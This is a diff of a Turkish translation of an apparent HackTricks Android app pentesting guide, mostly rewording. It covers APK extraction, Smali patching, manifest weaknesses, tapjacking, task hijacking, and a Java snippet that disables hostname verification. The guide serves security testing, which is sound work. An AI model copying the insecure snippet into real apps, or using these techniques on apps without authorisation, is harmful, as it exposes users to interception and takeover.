||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,7 +15,7 @@ GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -26,7 +26,7 @@ Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
|
|||
Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın
|
||||
|
||||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
Yeni başlayan bug bounty'ler ve kritik platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
|
@ -48,7 +48,7 @@ ADB'yi nasıl kullanacağınızı öğrenmek için aşağıdaki [**ADB Komutlar
|
|||
## Smali
|
||||
|
||||
Bazen **gizli bilgilere** erişmek için **uygulama kodunu değiştirmek** ilginç olabilir (belki iyi obfuscate edilmiş şifreler veya bayraklar). Bu durumda, apk'yı decompile etmek, kodu değiştirmek ve yeniden derlemek ilginç olabilir.\
|
||||
[**Bu eğitimde** APK'yı **decompile etmeyi, Smali kodunu değiştirmeyi ve APK'yı** yeni işlevsellik ile yeniden derlemeyi **öğrenebilirsiniz**](smali-changes.md). Bu, sunulacak dinamik analiz sırasında birkaç test için **alternatif olarak** çok faydalı olabilir. Bu nedenle, **her zaman bu olasılığı aklınızda bulundurun**.
|
||||
[**Bu eğitimde** APK'yı nasıl decompile edeceğinizi, Smali kodunu nasıl değiştireceğinizi ve APK'yı yeni işlevsellik ile nasıl yeniden derleyeceğinizi **öğrenebilirsiniz**](smali-changes.md). Bu, sunulacak dinamik analiz sırasında birkaç test için **alternatif olarak** çok faydalı olabilir. Bu nedenle, **her zaman bu olasılığı aklınızda bulundurun**.
|
||||
|
||||
## Diğer ilginç ipuçları
|
||||
|
||||
|
@ -64,7 +64,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
|||
|
||||
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
```
|
||||
* Tüm bölümleri ve temel apk'ları [APKEditor](https://github.com/REAndroid/APKEditor) ile birleştirin:
|
||||
* Tüm bölmeleri ve temel apk'ları [APKEditor](https://github.com/REAndroid/APKEditor) ile birleştirin:
|
||||
```bash
|
||||
mkdir splits
|
||||
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
|
||||
|
@ -80,7 +80,7 @@ Lütfen, [**farklı mevcut decompiler'lar hakkında bilgi bulmak için burayı o
|
|||
|
||||
### İlginç Bilgiler Aramak
|
||||
|
||||
APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **token'lar** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **arka kapıları** veya kimlik doğrulama arka kapıları (uygulama için hardcoded admin kimlik bilgileri) arayın.
|
||||
APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuid'leri**, **token'lar** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **arka kapıları** veya kimlik doğrulama arka kapıları (uygulama için hardcoded admin kimlik bilgileri) arayın.
|
||||
|
||||
**Firebase**
|
||||
|
||||
|
@ -92,19 +92,19 @@ Bir uygulamanın **_Manifest.xml**_\*\* ve \*\*_**strings.xml**\_\*\* dosyaları
|
|||
|
||||
**Manifest.xml** dosyasından belirlenen **Açıklar** şunlardır:
|
||||
|
||||
* **Debuggable Uygulamalar**: _Manifest.xml_ dosyasında debuggable olarak ayarlanmış (`debuggable="true"`) uygulamalar, bağlantılara izin vererek istismar riskini artırır. Debuggable uygulamaları bulma ve istismar etme hakkında daha fazla bilgi için bir eğitime başvurun.
|
||||
* **Debuggable Uygulamalar**: _Manifest.xml_ dosyasında debuggable olarak ayarlanmış (`debuggable="true"`) uygulamalar, bağlantılara izin vererek istismar riskini artırır. Debuggable uygulamaları nasıl istismar edeceğinizi anlamak için, bir cihazda debuggable uygulamaları bulma ve istismar etme üzerine bir eğitime başvurun.
|
||||
* **Yedekleme Ayarları**: Hassas bilgilerle ilgilenen uygulamalar için `android:allowBackup="false"` niteliği açıkça ayarlanmalıdır, böylece adb üzerinden yetkisiz veri yedeklemeleri önlenir, özellikle usb hata ayıklama etkinleştirildiğinde.
|
||||
* **Ağ Güvenliği**: _res/xml/_ içindeki özel ağ güvenliği yapılandırmaları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik detaylarını belirtebilir. Örneğin, belirli alanlar için HTTP trafiğine izin vermek.
|
||||
* **Dışa Aktarılan Aktiviteler ve Servisler**: Manifestte dışa aktarılan aktiviteleri ve servisleri tanımlamak, kötüye kullanılabilecek bileşenleri vurgulayabilir. Dinamik test sırasında daha fazla analiz, bu bileşenlerin nasıl istismar edileceğini ortaya çıkarabilir.
|
||||
* **İçerik Sağlayıcıları ve Dosya Sağlayıcıları**: Açık içerik sağlayıcıları, yetkisiz erişim veya veri değişikliği sağlayabilir. Dosya sağlayıcılarının yapılandırması da incelenmelidir.
|
||||
* **Dışa Aktarılan Aktiviteler ve Servisler**: Manifestte dışa aktarılan aktiviteleri ve servisleri tanımlamak, kötüye kullanılabilecek bileşenleri vurgulayabilir. Dinamik test sırasında daha fazla analiz, bu bileşenleri nasıl istismar edeceğinizi ortaya çıkarabilir.
|
||||
* **İçerik Sağlayıcıları ve Dosya Sağlayıcıları**: Açıkta olan içerik sağlayıcıları, yetkisiz erişim veya veri değişikliği sağlayabilir. Dosya sağlayıcılarının yapılandırması da incelenmelidir.
|
||||
* **Broadcast Alıcıları ve URL Şemaları**: Bu bileşenler istismar için kullanılabilir, URL şemalarının giriş açıkları için nasıl yönetildiğine özel dikkat gösterilmelidir.
|
||||
* **SDK Sürümleri**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` nitelikleri desteklenen Android sürümlerini belirtir, güvenlik nedenleriyle eski, savunmasız Android sürümlerinin desteklenmemesinin önemini vurgular.
|
||||
|
||||
**strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir, bu da bu kaynakların dikkatli bir şekilde gözden geçirilmesi gereğini vurgular.
|
||||
**strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir, bu da bu kaynakların dikkatli bir şekilde gözden geçirilmesi gerekliliğini vurgular.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamasının üzerine yerleştiği** bir saldırıdır. Kurban uygulamasını görünür bir şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, bu arada etkileşimi kurban uygulamasına iletmektedir.\
|
||||
**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamanın üzerine yerleştiği** bir saldırıdır. Kurban uygulamayı görünür şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, oysa etkileşimi kurban uygulamaya iletmektedir.\
|
||||
Sonuç olarak, bu, **kullanıcının aslında kurban uygulamasında eylemler gerçekleştirdiğini bilmesini engellemektedir**.
|
||||
|
||||
Daha fazla bilgi için:
|
||||
|
@ -115,7 +115,7 @@ Daha fazla bilgi için:
|
|||
|
||||
### Görev Ele Geçirme
|
||||
|
||||
**`launchMode`**'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **aktivite**, görev ele geçirmeye karşı savunmasızdır. Bu, bir **uygulamanın** yüklenebileceği ve gerçek uygulamadan önce başlatılırsa, **gerçek uygulamanın görevini ele geçirebileceği** anlamına gelir (bu durumda kullanıcı, **gerçek uygulamayı kullanıyormuş gibi kötü niyetli uygulama ile etkileşimde bulunacaktır**).
|
||||
**`launchMode`**'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **aktivite**, görev ele geçirmeye karşı savunmasızdır. Bu, bir **uygulamanın** kurulabileceği ve gerçek uygulamadan önce başlatılırsa, **gerçek uygulamanın görevini ele geçirebileceği** anlamına gelir (bu durumda kullanıcı, **kötü niyetli uygulama ile etkileşimde bulunurken gerçek uygulamayı kullanıyormuş gibi düşünecektir**).
|
||||
|
||||
Daha fazla bilgi için:
|
||||
|
||||
|
@ -127,26 +127,26 @@ Daha fazla bilgi için:
|
|||
|
||||
**Dahili Depolama**
|
||||
|
||||
Android'de, **dahili** depolamada **saklanan** dosyalar, yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve çoğu uygulamanın güvenlik ihtiyaçları için genellikle yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar, diğer uygulamalar, potansiyel olarak kötü niyetli olanlar dahil, bu dosyalara erişimi **kısıtlamaz**.
|
||||
Android'de, **dahili** depolamada **saklanan** dosyalar, yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve genellikle çoğu uygulamanın güvenlik ihtiyaçları için yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar, diğer uygulamalar, potansiyel olarak kötü niyetli olanlar dahil, bu dosyalara erişimi **kısıtlamaz**.
|
||||
|
||||
1. **Statik Analiz:**
|
||||
* `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelenmesini sağlayın**. Bu modlar, dosyaları **istenmeyen veya yetkisiz erişime** açabilir.
|
||||
2. **Dinamik Analiz:**
|
||||
* Uygulama tarafından oluşturulan dosyalar üzerindeki **izinleri** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını **kontrol edin**. Bu, cihazda yüklü olan **herhangi bir uygulamanın**, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir.
|
||||
* Uygulama tarafından oluşturulan dosyalar üzerindeki **izinleri** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını **kontrol edin**. Bu, **herhangi bir uygulamanın** cihazda, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir.
|
||||
|
||||
**Harici Depolama**
|
||||
|
||||
**Harici depolama** ile dosyalarla ilgilenirken, belirli önlemler alınmalıdır:
|
||||
**Harici depolama** ile ilgili dosyalarla çalışırken, belirli önlemler alınmalıdır:
|
||||
|
||||
1. **Erişilebilirlik**:
|
||||
* Harici depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir**. Bu, herhangi bir uygulamanın veya kullanıcının bu dosyalara erişebileceği anlamına gelir.
|
||||
2. **Güvenlik Endişeleri**:
|
||||
* Erişim kolaylığı göz önüne alındığında, **hassas bilgileri** harici depolamada saklamamanız önerilir.
|
||||
* Harici depolama, herhangi bir uygulama tarafından çıkarılabilir veya erişilebilir, bu da güvenliğini azaltır.
|
||||
* Harici depolama, herhangi bir uygulama tarafından çıkarılabilir veya erişilebilir, bu da onu daha az güvenli hale getirir.
|
||||
3. **Harici Depolamadan Veri İşleme**:
|
||||
* Harici depolamadan alınan veriler üzerinde her zaman **giriş doğrulaması** yapın. Bu, verilerin güvenilir olmayan bir kaynaktan geldiği için kritik öneme sahiptir.
|
||||
* Harici depolamadan alınan veriler üzerinde her zaman **giriş doğrulaması** yapın. Bu, verilerin güvenilir bir kaynaktan gelmediği için kritik öneme sahiptir.
|
||||
* Dinamik yükleme için harici depolamada yürütülebilir veya sınıf dosyaları saklamak kesinlikle önerilmez.
|
||||
* Uygulamanız harici depolamadan yürütülebilir dosyalar alması gerekiyorsa, bu dosyaların dinamik olarak yüklenmeden önce **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir.
|
||||
* Uygulamanız harici depolamadan yürütülebilir dosyaları almak zorundaysa, bu dosyaların **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir.
|
||||
|
||||
Harici depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` konumlarında **erişilebilir**.
|
||||
|
||||
|
@ -163,7 +163,7 @@ Android 4.4 (**API 17**) ile birlikte, SD kartın bir dizin yapısı vardır ve
|
|||
|
||||
**Tüm Sertifikaları Kabul Etme**
|
||||
|
||||
Bazı nedenlerden dolayı, bazen geliştiriciler tüm sertifikaları kabul eder, örneğin, ana bilgisayar adı aşağıdaki gibi kod satırlarıyla eşleşmediğinde:
|
||||
Bazı nedenlerden dolayı, bazen geliştiriciler tüm sertifikaları kabul eder, örneğin, ana bilgisayar adı aşağıdaki gibi kod satırlarıyla eşleşmese bile:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
|
@ -174,7 +174,7 @@ A good way to test this is to try to capture the traffic using some proxy like B
|
|||
|
||||
**Zayıf Anahtar Yönetim Süreçleri**
|
||||
|
||||
Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hardcoded/tahmin edilebilir bir anahtar ile şifreler. Bu yapılmamalıdır çünkü bazı tersine mühendislik saldırıları, saldırganların gizli bilgileri çıkarmasına olanak tanıyabilir.
|
||||
Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hardcoded/tahmin edilebilir bir anahtarla şifreler. Bu yapılmamalıdır çünkü bazı tersine mühendislik saldırıları, saldırganların gizli bilgileri çıkarmasına izin verebilir.
|
||||
|
||||
**Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı**
|
||||
|
||||
|
@ -185,7 +185,7 @@ Geliştiriciler, yetkilendirme **kontrolleri**, **veri saklama** veya **veri gö
|
|||
* **APK'yı obfuscate etmek** saldırganların tersine mühendislik çalışmalarını zorlaştırmak için önerilir.
|
||||
* Uygulama hassas ise (banka uygulamaları gibi), **mobilin köklenip köklenmediğini kontrol etmek için kendi kontrollerini** gerçekleştirmelidir ve buna göre hareket etmelidir.
|
||||
* Uygulama hassas ise (banka uygulamaları gibi), bir **emülatör** kullanılıp kullanılmadığını kontrol etmelidir.
|
||||
* Uygulama hassas ise (banka uygulamaları gibi), **çalıştırmadan önce kendi bütünlüğünü kontrol etmelidir** ve değiştirilip değiştirilmediğini kontrol etmelidir.
|
||||
* Uygulama hassas ise (banka uygulamaları gibi), **çalıştırmadan önce kendi bütünlüğünü kontrol etmelidir**.
|
||||
* APK'yı oluşturmak için hangi derleyici/paketleyici/obfuscator kullanıldığını kontrol etmek için [**APKiD**](https://github.com/rednaga/APKiD) kullanın.
|
||||
|
||||
### React Native Uygulaması
|
||||
|
@ -206,15 +206,15 @@ Xamarin uygulamalarının C# koduna kolayca erişmek için aşağıdaki sayfayı
|
|||
|
||||
### Süper Paketlenmiş Uygulamalar
|
||||
|
||||
Bu [**blog yazısına**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) göre süper paketlenmiş, bir uygulamanın içeriğini tek bir dosyaya sıkıştıran bir Meta algoritmadır. Blog, bu tür uygulamaları açan bir uygulama oluşturma olasılığından bahsediyor... ve **uygulamayı çalıştırmayı ve dosya sisteminden açılmış dosyaları toplamayı** içeren daha hızlı bir yol.
|
||||
Bu [**blog yazısına**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) göre süper paketlenmiş, bir uygulamanın içeriğini tek bir dosyaya sıkıştıran bir Meta algoritmadır. Blog, bu tür uygulamaları açan bir uygulama oluşturma olasılığından bahsediyor... ve **uygulamayı çalıştırıp dosya sisteminden açılmış dosyaları toplamak** gibi daha hızlı bir yol.
|
||||
|
||||
### Otomatik Statik Kod Analizi
|
||||
|
||||
[**mariana-trench**](https://github.com/facebook/mariana-trench) aracı, uygulamanın **kodunu tarayarak** **zayıflıkları** bulma yeteneğine sahiptir. Bu araç, **kullanıcı tarafından kontrol edilen** **giriş** yerlerini gösteren bir dizi **bilinen kaynak** içerir, **sink** (kötü niyetli kullanıcı girişinin zarar verebileceği **tehlikeli** **yerleri** gösterir) ve **kurallar** içerir. Bu kurallar, bir zayıflığı gösteren **kaynak-sink kombinasyonlarını** belirtir.
|
||||
[**mariana-trench**](https://github.com/facebook/mariana-trench) aracı, uygulamanın **kodunu tarayarak** **zayıflıkları** bulma yeteneğine sahiptir. Bu araç, **kullanıcı tarafından kontrol edilen** **giriş** yerlerini gösteren bir dizi **bilinen kaynak** içerir, **sink** (kötü niyetli kullanıcı girişinin zarar verebileceği **tehlikeli** **yerleri** gösterir) ve **kurallar** içerir. Bu kurallar, bir zayıflığı gösteren **kaynak-sink** kombinasyonlarını belirtir.
|
||||
|
||||
Bu bilgiyle, **mariana-trench kodu gözden geçirecek ve olası zayıflıkları bulacaktır**.
|
||||
|
||||
### Sırların Sızması
|
||||
### Sızdırılan Sırlar
|
||||
|
||||
Bir uygulama, içinde keşfedebileceğiniz sırlar (API anahtarları, şifreler, gizli URL'ler, alt alan adları...) içerebilir. [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) gibi bir araç kullanabilirsiniz.
|
||||
|
||||
|
@ -229,7 +229,7 @@ Bir uygulama, içinde keşfedebileceğiniz sırlar (API anahtarları, şifreler,
|
|||
* **Kod yürütme**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
* **SMS gönderme**: `sendTextMessage, sendMultipartTestMessage`
|
||||
* `native` olarak tanımlanan **yerel fonksiyonlar**: `public native, System.loadLibrary, System.load`
|
||||
* [**yerel fonksiyonları tersine mühendislik yapmayı öğrenmek için bunu okuyun**](reversing-native-libraries.md)
|
||||
* [Yerel fonksiyonları **tersine mühendislik yapmayı öğrenmek için bunu okuyun**](reversing-native-libraries.md)
|
||||
|
||||
### **Diğer Hileler**
|
||||
|
||||
|
@ -239,18 +239,18 @@ Bir uygulama, içinde keşfedebileceğiniz sırlar (API anahtarları, şifreler,
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
**Hacking İçgörüleri**\
|
||||
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
|
||||
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun.
|
||||
|
||||
**Gerçek Zamanlı Hack Haberleri**\
|
||||
Hızla değişen hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
|
||||
Hızla değişen hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın.
|
||||
|
||||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve kritik platform güncellemeleri hakkında bilgi sahibi olun
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun.
|
||||
|
||||
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
|
@ -268,31 +268,31 @@ Ayrıca, uygulamanızın **loglarını** webde görebilir ve **adb** üzerinden
|
|||
|
||||
![](<../../.gitbook/assets/image (831).png>)
|
||||
|
||||
ADB bağlantısı sayesinde, emülatörler içinde **Drozer** ve **Frida** kullanabilirsiniz.
|
||||
ADB bağlantısı sayesinde emülatörler içinde **Drozer** ve **Frida** kullanabilirsiniz.
|
||||
|
||||
### Yerel Dinamik Analiz
|
||||
|
||||
#### Bir emülatör kullanarak
|
||||
|
||||
* [**Android Studio**](https://developer.android.com/studio) ( **x86** ve **arm** cihazlar oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**son x86** sürümleri **ARM kütüphanelerini** yavaş bir arm emülatörüne ihtiyaç duymadan destekler).
|
||||
* [**Android Studio**](https://developer.android.com/studio) ( **x86** ve **arm** cihazlar oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**en son x86** sürümleri **ARM kütüphanelerini** yavaş bir arm emülatörüne ihtiyaç duymadan destekler).
|
||||
* Bunu ayarlamayı öğrenmek için bu sayfayı okuyun:
|
||||
|
||||
{% content-ref url="avd-android-virtual-device.md" %}
|
||||
[avd-android-virtual-device.md](avd-android-virtual-device.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hatalardan kaçınmak için **VirtualBox** ile **sürümü indirmek** önerilir._)
|
||||
* [**Nox**](https://es.bignox.com) (Ücretsiz, ancak Frida veya Drozer'ı desteklemez).
|
||||
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox** ile **sürümü indirmek** önerilir._)
|
||||
* [**Nox**](https://es.bignox.com) (Ücretsiz, ancak Frida veya Drozer'ı desteklemiyor).
|
||||
|
||||
{% hint style="info" %}
|
||||
Yeni bir emülatör oluştururken, ekranın ne kadar büyük olursa, emülatörün o kadar yavaş çalışacağını unutmayın. Bu nedenle, mümkünse küçük ekranlar seçin.
|
||||
Yeni bir emülatör oluştururken, ekranın ne kadar büyük olursa, emülatörün o kadar yavaş çalışacağını unutmayın. Bu nedenle mümkünse küçük ekranlar seçin.
|
||||
{% endhint %}
|
||||
|
||||
Genymotion'da **Google hizmetlerini** (AppStore gibi) yüklemek için aşağıdaki resmin kırmızı ile işaretlenmiş butonuna tıklamanız gerekir:
|
||||
|
||||
![](<../../.gitbook/assets/image (277).png>)
|
||||
|
||||
Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mode** seçeneğini seçebileceğinizi unutmayın (bu, Android VM'ye farklı bir VM'den bağlanıyorsanız faydalı olacaktır).
|
||||
Ayrıca, **Genymotion'daki Android VM'nin yapılandırmasında** **Bridge Network mode** seçeneğini seçebileceğinizi unutmayın (bu, Android VM'ye farklı bir VM'den bağlanıyorsanız faydalı olacaktır).
|
||||
|
||||
#### Fiziksel bir cihaz kullanma
|
||||
|
||||
|
@ -304,14 +304,14 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo
|
|||
4. **Build numarasına** 7 kez basın.
|
||||
5. Geri dönün ve **Geliştirici seçeneklerini** bulacaksınız.
|
||||
|
||||
> Uygulamayı yükledikten sonra, yapmanız gereken ilk şey onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\
|
||||
> **Bu ilk dinamik analizi MobSF dinamik analizi + pidcat kullanarak gerçekleştirmeyi** öneririm, böylece **uygulamanın nasıl çalıştığını öğrenebiliriz** ve MobSF **ilginç** **verileri** toplarken daha sonra gözden geçirebiliriz.
|
||||
> Uygulamayı yükledikten sonra yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\
|
||||
> **MobSF dinamik analizi + pidcat** kullanarak bu ilk dinamik analizi gerçekleştirmeyi öneririm, böylece **uygulamanın nasıl çalıştığını öğrenebiliriz** ve MobSF **ilginç** **verileri** toplarken daha sonra gözden geçirebiliriz.
|
||||
|
||||
### İstenmeyen Veri Sızıntısı
|
||||
|
||||
**Günlükleme**
|
||||
|
||||
Geliştiriciler, **hata ayıklama bilgilerini** kamuya açık bir şekilde ifşa etme konusunda dikkatli olmalıdır, çünkü bu hassas veri sızıntılarına yol açabilir. Uygulama günlüklerini izlemek ve hassas bilgileri korumak için [**pidcat**](https://github.com/JakeWharton/pidcat) ve `adb logcat` araçları önerilir. **Pidcat**, kullanım kolaylığı ve okunabilirliği nedeniyle tercih edilmektedir.
|
||||
Geliştiriciler, **hata ayıklama bilgilerini** kamuya açık bir şekilde ifşa etme konusunda dikkatli olmalıdır, çünkü bu hassas veri sızıntılarına yol açabilir. Uygulama günlüklerini izlemek için [**pidcat**](https://github.com/JakeWharton/pidcat) ve `adb logcat` araçları önerilir. **Pidcat**, kullanım kolaylığı ve okunabilirliği nedeniyle tercih edilmektedir.
|
||||
|
||||
{% hint style="warning" %}
|
||||
**Android 4.0'dan daha yeni** sürümlerden itibaren, **uygulamalar yalnızca kendi günlüklerine erişebilir**. Yani uygulamalar diğer uygulamaların günlüklerine erişemez.\
|
||||
|
@ -320,47 +320,47 @@ Yine de, **hassas bilgileri günlüğe kaydetmemek** önerilir.
|
|||
|
||||
**Kopyala/Yapıştır Tamponu Önbellekleme**
|
||||
|
||||
Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya **erişebileceğinden** hassas verilerin açığa çıkma riski taşır. Hassas bölümler için, kredi kartı bilgileri gibi, **kopyala/yapıştır** işlevlerini devre dışı bırakmak kritik öneme sahiptir.
|
||||
Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya **erişebileceğinden** hassas verilerin ifşa edilme riski taşır. Hassas bölümler için kopyala/yapıştır işlevlerini devre dışı bırakmak, kredi kartı bilgileri gibi veri sızıntılarını önlemek için kritik öneme sahiptir.
|
||||
|
||||
**Çökme Günlükleri**
|
||||
|
||||
Bir uygulama **çökerse** ve **günlükleri kaydederse**, bu günlükler saldırganlara yardımcı olabilir, özellikle uygulama tersine mühendislik ile çözülemezse. Bu riski azaltmak için, çökme durumunda günlüğe kaydetmekten kaçının ve eğer günlükler ağ üzerinden iletilmesi gerekiyorsa, güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun.
|
||||
Eğer bir uygulama **çöker** ve **günlükleri kaydederse**, bu günlükler saldırganlara yardımcı olabilir, özellikle uygulama tersine mühendislik ile çözülemezse. Bu riski azaltmak için, çökme durumunda günlüğe kaydetmekten kaçının ve eğer günlükler ağ üzerinden iletilmesi gerekiyorsa, güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun.
|
||||
|
||||
Pentester olarak, **bu günlükleri gözden geçirmeye çalışın**.
|
||||
|
||||
**Üçüncü Taraflara Gönderilen Analitik Veriler**
|
||||
|
||||
Uygulamalar genellikle Google Adsense gibi hizmetleri entegre eder, bu da geliştiricilerin yanlış uygulaması nedeniyle hassas verilerin **sızmasına** neden olabilir. Potansiyel veri sızıntılarını belirlemek için, uygulamanın trafiğini **yakalamak** ve üçüncü taraf hizmetlere gönderilen hassas bilgileri kontrol etmek önerilir.
|
||||
